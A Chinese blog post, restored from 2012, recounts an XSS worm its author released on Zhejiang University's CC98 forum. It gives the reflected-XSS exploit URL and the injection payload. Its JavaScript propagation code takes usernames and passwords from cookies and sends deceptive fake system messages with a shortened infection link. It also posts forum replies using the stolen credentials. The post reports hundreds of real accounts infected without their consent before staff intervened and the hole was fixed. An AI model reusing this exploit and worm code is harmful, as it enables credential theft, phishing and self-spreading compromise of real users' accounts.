[Revert from backup]对CC98的一次XSS蠕虫测试

注:原文发表于2012.12.31,之后在博客地震中消失了,这是从cc98上恢复的版本。
CC98论坛是浙大校内最大的论坛,每日有数万发帖,这个网站是由校内学生团队维护。由于历史原因,采用的是一套有一定历史的论坛系统,并在上面做了很多修改。修改后的系统基本杜绝了SQL注入漏洞,安全性有很大提高,但是也缺乏很多web2.0功能和一些对xss的防范。本文讲述的就是我在12.31日22点左右对其进行的一次XSS蠕虫测试。蠕虫以站短形式传播,会选取被感染发过的主题楼中第一页出现的ID发送站短,并使被感染账户在一个指定的楼里(标题名happy new year~) 进行回复。初始传播约为10人,传播开始后大约半小时感染了数百用户,蠕虫自动回复楼已经攀升到当日十大最热门贴子。然后被管理团队发现,删掉了自动回复楼,并关闭了站短功能(蠕虫传播渠道)。此后樱桃和我进行了沟通,并fix了此xss点。

11584759803
exploit点是在


1    http://hz.cc98.lifetoy.org/dispbbs.asp?Boardid=/d+&ID=/d+

中的ID,ID参数会被直接写入到此页的js函数中:


1
2    function _shortcut(evt)
3     {
4
5          var fileName=”dispbbs.asp”;
6          var star=parseInt(“”);
7          var total_star=parseInt(“”);
8
9          var origin_search=”?BoardID=507&id=290147&page=&replyID=”;
10
11          var evt=evt?evt:window.event;

可见id被带入了js函数中,通过payload: %22;}alert(/test/);function%20ttt(){// 闭合标签


1    var origin_search=”?BoardID=507&id=290147″;}alert(/test/);function ttt(){//&page=&replyID=”;

逸出函数域,可执行独立的js代码。完整的exploit就是

http://hz.cc98.lifetoy.org/dispbbs.asp?Boardid=507&ID=290147%22;}alert(/test/);function%20ttt(){//

(对webkit内核浏览器有效,ie无法bypass浏览器filter。已被fix)。
有了exploit,如何做成蠕虫?由于不是存储型xss,首先的问题是如何传播。由于cc98的好友关系薄弱,通过SNS的好友式传播效果可以预期并不好。后来我想到了通过98提供的查看历史发表主题的功能,找出被感染者发过的主题,并选取第一页回复的人进行站内短消息传播。这样可以保证较好的覆盖率。由于浏览器并发能力所限,我限制了选取主题的数目。同时为了更具欺骗性,站短做的非常像系统提示回复的消息,当用户点击链接时就会被感染。
以下就是coding的工作。主要传播代码如下:


1
2    var alluser = new Array();
3    user = /username=([^&]*)/gi.exec(document.cookie)[1]
4    pass = /password=([^;]*)/gi.exec(document.cookie)[1]
5    xss.ajax(“/mytopic.asp”,function(){
6         var linkre = /dispbbs.asp?boardID=d+&ID=d+/gi;
7         var userre = /dispuser.asp?name=([^>]*)>/gi;
8         var topictext = this.responseText;
9         var cnt = 0;
10         while( (link = linkre.exec(topictext)) != null)
11         {
12              xss.ajax(link,function(){
13                   while((res = userre.exec(this.responseText)) !== null)
14                  {
15                       var touser = res[1].trim();
16                       if (!alluser.contains(touser) && touser!==user) { alluser.push(touser);
17                       xss.ajax(”/messanger.asp?action=send”,”touser=”+touser+”&font=&title=”+”%E5%9B%9E%E5%A4%8D%E6%8F%90%E7%A4%BA&message=%E6%88%91%E5%9C%A8%5Burl%3Dhttp%3A%2F%2Ftinyurl.com%2Fa6exaj8%5D%5Bcolor%3Dblue%5D%E8%BF%99%E4%B8%AA%E5%B8%96%E5%AD%90%5B%2Fcolor%5D%5B%2Furl%5D%E9%87%8C%E4%B8%AD%E5%9B%9E%E5%A4%8D%E4%BA%86%E4%BD%A0%2C%E5%BF%AB%E6%9D%A5%E7%9C%8B%E7%9C%8B%E5%90%A7~!”,function(){});
18                       }
19                  }
20
21              });
22              cnt = cnt + 1;
23              if(cnt < 7) break;
24         }
25
26    });
27
28    xss.ajax(“/SaveReAnnounce.asp?method=fastreply&BoardID=211″,”followup=648207441&RootID=4090055&star=1&UserName=”+user+”&passwd=”+pass+”&Expression=face7.gif&Content=happy+new+year~+by+flanker&signflag=yes”,function(){});
29    setCookie(“hacked”,”1″);

有些代码略去。这里的”xss”对象是wooyun上的xss.js库,其实只用到了ajax功能,用jquery也可以,具体代码可见https://github.com/flankerhqd/cc98-worm
总之,这次蠕虫的效果还是较好地达到了预期测试目的的。不过由于浙大网络环境太渣,部分用户连短链都无法打开,导致js代码未得到执行…..同时也要赞赏98站务组的反应速度,比人人的管理员快多了,而且采取措施也很果断,直接把站短功能关闭了。。。。

Leave a Reply

Your email address will not be published. Required fields are marked *